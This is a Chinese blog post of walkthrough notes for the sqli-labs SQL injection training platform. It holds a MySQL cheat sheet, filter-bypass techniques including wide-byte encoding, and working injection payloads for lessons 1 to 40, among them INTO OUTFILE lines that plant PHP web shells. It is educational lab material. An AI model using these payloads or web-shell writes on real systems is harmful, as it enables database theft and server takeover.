wywwzjj's Blog

Sqli-labs 通关笔记

字数统计: 3.7k阅读时长: 17 min
2018/11/02 Share

预备知识

MySQL 常用语句备忘

-- Default Databases
mysql Requires root privileges
information_schema Available from version 5 and higher

Comment Out Query
# /**/ -- - ;%00 `

select user(); -- 数据库用户名
select version(); -- MySQL版本
select database(); -- 数据库名
select @@basedir; -- 数据库安装路径
select @@datadir; -- 数据存储路径
select @@version_compile_os; -- 操作系统版本
show global variables like '%secure%'; --
if(expr,v1,v2) -- expr正确则v1,否则v2
select case when expr then v1 else v2 end; -- 与 if 功能相同
select concat('11', '22', '33'); -- 字符串连接 112233
select concat_ws(x, s1,s2...sn) -- 以 x 作为连接符,将字符串连接
select group_concat() -- 把查询出来的多行连接起来
select mid(str, start, count) -- 从start开始截取count个字符
select substr(database(), 1, 1) -- 与mid同
# 如果用不了逗号,直接 from start for count
# union select * from (select 1)a join (select 2)b == union select 1,2
select left(str, count) -- 截取左边count个字符
select ord() -- 返回第一个字符的ASCII码
select ascii() -- 与ord同
select char(32, 58, 32) -- ' : ' 即空格+ : +空格
select length(database());
delete from table_name where id=1; -- 不加限制条件将删除整张表
drop database ds_name;
drop column column_name;
alter table table_name;
update table_name set column_name='new' where id=1; -- 更新
/*!50000select*/
where id = 0.1 union select ...
xor, ||, &&, !, not,<>

注入类型

union 注入

所查询的字段数需与主查询一致

字段数可先用 order by x 来确定

union select 1, 2 from user where id = 1 or 1=1
information_schema 注入

存储数据库信息的数据库

数据库名

schemata => schema_name

tables => table_schema

columns => table_schema

表名

tables => table_name

columns => table_name

列名

columns => columns_name

select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表
select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
-- 下载数据
-1union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名
函数报错信息注入

前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端

常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));%23
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);%23

基于函数报错信息获取(select, insert, update, delete)

insert / update / delete 注入

结合函数报错信息,将函数插入到语句中

http header 注入

XFFreferer

观察点:后台收集了请求头中的信息,并存入到数据库中

布尔盲注

结合 and 进行逻辑判断

效率太低,写脚本爆

时间盲注

无显示回显,可在以前的基础上加入 sleep() 语句,若明显延迟,则注入成功

BENCHMARK(count,expr) 执行 count 次的 expr,如 BENCHMARK(10000000,SHA(‘1’))

即使 sleepbenchmark 都被过滤了,但是我们依然可以通过让Mysql进行复杂运算,

以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积

select count(*) 
from information_schema.columns A,
information_schema.columns B,
information_schema.columns C#

还有 get_lock()

利用注入写入后门

前提:开启 secure_file_priv,并且具有写的权限

select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\\a.php'--%20

Bypass

检测被过滤的关键词:

  • fuzz 一波 ASCII 码

  • id = 1 ^ (length(‘xxx’)=3)

空格

  • 使用注释绕过,/*/ (/\1*/)

  • 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围

select(group_concat(table_name))
from(information_schema.tables)
where(table_schema=database())
  • 使用符号替代空格
%20 	空格
%09 TAB 键(水平)
%0b TAB 键(垂直)
%0d return 功能
%0c 新的一页
%a0 空格
%0a 新建一行

SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

引号

select column_name from information_schema.tables where table_name="users"

如果引号被过滤了,那么上面的where子句就失效了,此时可以使用十六进制users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

宽字节绕过

%bf%27 %df%27 %aa%27

逗号

substr(), mid() 里的逗号可用 from for 代替

select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);

对于 limit 里面的逗号可以使用 offset 绕过

select * from news limit 0,1  
<=>
select * from news limit 1 offset 0

比较符

大于、小于可用 greatest(), least() 代替,还可以 between and

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

条件连接词

利用符号:
and => &&
or => ||
xor => |
not => !

大小写变形: Or, OR, oR
添加注释: o/**/r
编码:hex, urlencode

union, select, where

(1)使用注释符绕过:

//,-- , /**/, #, --+, -- -, ;,%00,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

sele%ct IIS 服务器可以插入 %

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过:

id=-1'UNIunionONSeLselectECT1,2,3–-

(5)科学计数法

id=0e1union

表名等关键词

以information_schema.tables为例

空格 information_schema . tables

着重号 information</em>schema.tables

特殊符 /!informationschema.tables/

别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

注释符

常用注释符:#, --+, /**/,可以用 ;%00 代替

不用注释符,与后面的语句构造闭合就行,如 ||'1,恰好与 ’ LIMIT 0,1 闭合

等号

使用 like 、rlike 、regexp 或者 < , >

部署练习平台

  • 手工搭建法
git clone https://github.com/Audi-1/sqli-labs.git

修改 sql-connections/sql-labs/db-creds.inc 中 MySQL用户名/密码
再放到 Apache 下或者 PHPstudy 这种集成工具

From your browser access the sql-labs folder to load index.html
Click on the link setup/resetDB to create database, create tables and populate Data.
Labs ready to be used, click on lesson number to open the lesson page.
Enjoy the labs
  • 简单粗暴法

docker配置sqli-labs

开始闯关

题目类型

  • 基于从服务器接收到的响应

    • 基于错误的SQL注入
    • 联合查询的类型
    • 堆查询注入
    • SQL盲注
      • 基于布尔SQL盲注
      • 基于时间的SQL盲注
      • 基于报错的SQL盲注
  • 基于如何处理输入的SQL查询(数据类型)

    • 基于字符串
    • 数字或整数为基础的
  • 基于程度和顺序的注入(哪里发生了影响)

    • 一次注入

      输入的注入语句对WEB直接产生了影响,出现了结果

    • 二次注入

      类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响,

      通过其它的辅助间接的对WEB产生危害,这样的就被称为是二次注入

  • 基于注入点的位置上的

    • 通过用户输入的表单域的注入
    • 通过cookie注入
    • 通过服务器变量注入(基于头部信息的注入)

Less-1 Error based - Single quotes

?id=-1%27 union select 1, 2, flag from flag%23

Less-2 Error based - Double quotes

?id=-1 union select 1, 2, flag from flag%23

Less-3 Error based - Single quotes with twist

?id=-1') union select 1, 2, flag from flag%23

Less-4 Error based - Double Quotes

?id=-1") union select 1, 2, flag from flag%23

Less-5 Double Injection - Single Quotes

二次注入有点懵逼,直接注入没有任何回显,函数报错盲注搞起

?id=11' and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23

Less-6 Double Injection - Double Quotes

?id=11" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23

Less-7 Dump into outfile

?id=1 union select 1,2,'<?php @eval($_POST[1])?>' into outfile 'D:\\a.php';

Less-8 Blind - Boolean Based - Single Quotes

没有任何报错信息,无法直接根据报错注入,时间盲注

id=1' and if(ascii(substr((select username from users limit 0, 1), 1, 1))=68 ,1 , SLEEP(5) --+

Less-9、Less-10 这两个与 8 类似

Less-11 Error Based - Single quotes

uname=-1' union select 1,flag from flag#&passwd=&submit=Submit

Less-12

uname=-1") union select 1,flag from flag#&passwd=&submit=Submit

Less-13

发现有报错信息,尝试报错注入

uname=-1') and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit

Less-14

双引号

uname=1" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));%23&passwd=&submit=Submit

Less-15 Less-16

Less-17

利用 update 注入,有明显的报错信息,可以报错注入,并且没有验证之前的密码

uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit

Less-18 Header Injection - Uagent field - Error based

UA 注入,要先登录才有回显,注意闭合

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '

Less-19 Header Injection - Referer field - Error based

cookie 注入,同样有报错,改了cookie后不会影响登录状态吗?

Less-21 Less-22 与前面的类似

Less-23

发现 #, -- 被过滤,可换 ;%00,或者直接闭合单引号

?id=-1' union select 1,database(),'3
?id=-1' union select 1,2,database();%00
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

-- 报错注入
?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)));%00

Less-24 Second Oder Injections Real treat - Stored injection

二次排序注入,将可能导致 sql 注入的字符先存入数据库,当再次调用这个恶意构造的字符时,就可以触发注入。

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pa';

对于本题的 sql 语句来说,如果先注册一个 admin'# 用户,此用户改密码的时候也修改了 admin 的密码。

所以有无严格控制用户的输入对安全影响特别大。

Less-25 Error Based - All your OR & AND belong to us - integer based

题意是说过滤了 or, and,并且展示了过滤后的字符串在下方,同时也有报错,所以方法很多

?id=-2' union select 1, database(), 3%23

or, and 可以用 ||, && 代替,本题还可用 o/**/r 或者 oorr

Less-25a Blind Based - All your OR & AND belong to us - integer based

与 Less-25 大同小异

Less-26 Error based - All your SPACES and COMMENTS belong to us(待研究)

尝试了所有的空白符,居然都不行,有个 %a0 没被过滤,但是不解析,不过 Linux 上可以成功解析

function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //过滤空白符,如换行、换页、空格、制表符
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

payload:

?id=0%27union%a0select%a01,database(),3;%00  -- linux(phpstudy上不解析,待研究)
?id=0%27union(select(1),database(),3);%00 -- 直接用括号分隔
?id=-1%27anandd(extractvalue(1,concat(0x7e,(select(user())),0x7e)));%00

Less-26a Blind based - All your SPACES and COMMENTS belong to us

多了个 () ,没有报错回显,依然 %a0,也可以盲注

?id=1%27)union(select(1),database(),3);%00

Less-27 Error based - All your UNION and SELECT belong to us

function blacklist($id) {
$id= preg_replace('/[\/\*]/', "", $id); //strip out /*
$id= preg_replace('/[--]/', "", $id); //Strip out --.
$id= preg_replace('/[#]/', "", $id); //Strip out #.
$id= preg_replace('/[ +]/', "", $id); //Strip out spaces.
$id= preg_replace('/select/m', "", $id); //Strip out spaces.
$id= preg_replace('/[ +]/', "", $id); //Strip out spaces.
$id= preg_replace('/union/s', "", $id); //Strip out union
$id= preg_replace('/select/s', "", $id); //Strip out select
$id= preg_replace('/UNION/s', "", $id); //Strip out UNION
$id= preg_replace('/SELECT/s', "", $id); //Strip out SELECT
$id= preg_replace('/Union/s', "", $id); //Strip out Union
$id= preg_replace('/Select/s', "", $id); //Strip out select

return $id;
}

select, union, 空格 过滤不彻底

?id=-1%27and(extractvalue(1,concat(0x7e,(seLect%0aflag%0afrom%0aflag),0x7e)));%00

Less-27a

?id=0"%0aUnIon%0aSElecT%0a1,(SeLect%0aflag%0afrom%0aflag),"3

Less-28

preg_replace('/union\s+select/i', "", $id);	    //Strip out UNION & SELECT.

不能同时出现 union select,还是遇到了之前那个 %a0 不解析的问题,但是可以 union all select,科学计数法 0e1union 也不行

id=0')%0aunion%0aall%0aseLect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database();%00

如果可以报错注入的话

?id=2')%0aand%0a(extractvalue(1,concat(0x7e,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()),0x7e)));%00

Less-28a

与 28 差不多,并且过滤还减少了。。

Less-29

一旦输入不是数字,直接跳到 hacked.php,一看源码可知存在 HPP即参数污染,这实际上是一个逻辑问题。

$qs = $_SERVER['QUERY_STRING'];
$id1 = java_implimentation($qs);

// 参数污染在这里,php 同时接到两个一样的参数,以后一个为准
$id = $_GET['id'];

whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 为啥不插 $id1

function whitelist($input) {
$match = preg_match("/^\d+$/", $input);
if (!$match) {
header('Location: hacked.php');
}
}

// 一找到 id 就返回,即返回的是第一个 id 的值
function java_implimentation($query_string) {
$q_s = $query_string;
$qs_array= explode("&",$q_s);

foreach($qs_array as $key => $value) {
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
}
}
}

这题一旦发现是参数污染,即入无人之境,毫无过滤。

?id=2&id=0' union select 1,2,3%23

Less-30

与 29 同,只是拼接了一个 “”

Less-31

在前面的基础上又加了一个 ()


Less-32,33,34,35,36,37六关全部是针对 \ 的过滤,可用宽字节绕过

原理:mysql 在使用 gbk 编码的时候,会将两个字符当做一个汉字。例如 %aa%5c ,前一个 ASCII 码超过 128 才会达到汉字的范围。

Less-32 Bypass custom filter adding slashes to dangerous chars

干掉 slash 有如下方法

1、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df,形成 %df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 %df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的 %5c 会被前面的 %5c 给注释掉。

?id=0%df' union select 1,2,3%23

那第二种方法?

Less-33 Bypass addslashes()

Addslashes() 函数依旧可以利用 %df 进行绕过。

下列字符将被加上 \ 进行转义
单引号(') 双引号(") 反斜杠(\) NULL

Notice:使用 addslashes() ,我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

Less-34

此处是 post,将 utf-8 转换为 utf-16utf-32,例如将 转为 utf-16为 �’

uname=�' or 1#&passwd=admin&submit=Submit

Less-35

35 关和 33关是大致的一样的,唯一的区别在于 sql 语句的不同。

SELECT * FROM users WHERE id=$id LIMIT 0,1

没有 ,就没必考虑 addslashes() 函数的意义了

Less-36

$string = mysql_real_escape_string($string);

// 下列字符将受影响
\x00 \n \r \ ' " \x1a

依然宽字节注入

?id=-1%EF%BF%BD%27union%20select%201,user(),3--+

Notice:
在使用 mysql_real_escape_string() 时,需要将 mysql 设置为 gbk 即可。

mysql_set_charset(‘gbk’,’$conn’)

Less-37

利用 34 关的 payload


以下正式进入堆叠注入,即

select * from users where id=1; show tables;

由于 sql 语句是以 ; 分隔,所以在查询语句的基础,我们还可以加多条语句。


Less-38

没有什么过滤,可以为所欲为,比如直接插入数据

id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+

Less-39

同 38,只是没有 ‘’

Less-40

没有任何防护,得到字段名之后就可以直接往里插入数据

id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23

做到这里有点无聊就没做了,待更新。

Less-41

Less-42

Less-43

Less-44

Less-45

Less-46

order by 配合 rand()

Less-47

Less-48

Less-49

Less-50

Less-51

Less-52

Less-53

Less-54

Less-55

Less-56

Less-57

Less-58

Less-59

CATALOG
  1. 1. 预备知识
    1. 1.1. MySQL 常用语句备忘
    2. 1.2. 注入类型
      1. 1.2.0.1. union 注入
      2. 1.2.0.2. information_schema 注入
      3. 1.2.0.3. 函数报错信息注入
      4. 1.2.0.4. insert / update / delete 注入
      5. 1.2.0.5. http header 注入
      6. 1.2.0.6. 布尔盲注
      7. 1.2.0.7. 时间盲注
      8. 1.2.0.8. 利用注入写入后门
  2. 1.3. Bypass
    1. 1.3.1. 空格
    2. 1.3.2. 引号
    3. 1.3.3. 逗号
    4. 1.3.4. 比较符
    5. 1.3.5. 条件连接词
    6. 1.3.6. union, select, where
    7. 1.3.7. 表名等关键词
    8. 1.3.8. 注释符
    9. 1.3.9. 等号
  3. 1.4. 部署练习平台
  • 2. 开始闯关
    1. 2.1. 题目类型
    2. 2.2. Less-1 Error based - Single quotes
    3. 2.3. Less-2 Error based - Double quotes
    4. 2.4. Less-3 Error based - Single quotes with twist
    5. 2.5. Less-4 Error based - Double Quotes
    6. 2.6. Less-5 Double Injection - Single Quotes
    7. 2.7. Less-6 Double Injection - Double Quotes
    8. 2.8. Less-7 Dump into outfile
    9. 2.9. Less-8 Blind - Boolean Based - Single Quotes
    10. 2.10. Less-9、Less-10 这两个与 8 类似
    11. 2.11. Less-11 Error Based - Single quotes
    12. 2.12. Less-12
    13. 2.13. Less-13
    14. 2.14. Less-14
    15. 2.15. Less-15 Less-16
    16. 2.16. Less-17
    17. 2.17. Less-18 Header Injection - Uagent field - Error based
    18. 2.18. Less-19 Header Injection - Referer field - Error based
    19. 2.19. Less-20 Cookie injection - Uagent field - Error based
    20. 2.20. Less-21 Less-22 与前面的类似
    21. 2.21. Less-23
    22. 2.22. Less-24 Second Oder Injections Real treat - Stored injection
    23. 2.23. Less-25 Error Based - All your OR & AND belong to us - integer based
    24. 2.24. Less-25a Blind Based - All your OR & AND belong to us - integer based
    25. 2.25. Less-26 Error based - All your SPACES and COMMENTS belong to us(待研究)
    26. 2.26. Less-26a Blind based - All your SPACES and COMMENTS belong to us
    27. 2.27. Less-27 Error based - All your UNION and SELECT belong to us
    28. 2.28. Less-27a
    29. 2.29. Less-28
    30. 2.30. Less-28a
    31. 2.31. Less-29
    32. 2.32. Less-30
    33. 2.33. Less-31
    34. 2.34. Less-32 Bypass custom filter adding slashes to dangerous chars
    35. 2.35. Less-33 Bypass addslashes()
    36. 2.36. Less-34
    37. 2.37. Less-35
    38. 2.38. Less-36
    39. 2.39. Less-37
    40. 2.40. Less-38
    41. 2.41. Less-39
    42. 2.42. Less-40
    43. 2.43. Less-41
    44. 2.44. Less-42
    45. 2.45. Less-43
    46. 2.46. Less-44
    47. 2.47. Less-45
    48. 2.48. Less-46
    49. 2.49. Less-47
    50. 2.50. Less-48
    51. 2.51. Less-49
    52. 2.52. Less-50
    53. 2.53. Less-51
    54. 2.54. Less-52
    55. 2.55. Less-53
    56. 2.56. Less-54
    57. 2.57. Less-55
    58. 2.58. Less-56
    59. 2.59. Less-57
    60. 2.60. Less-58
    61. 2.61. Less-59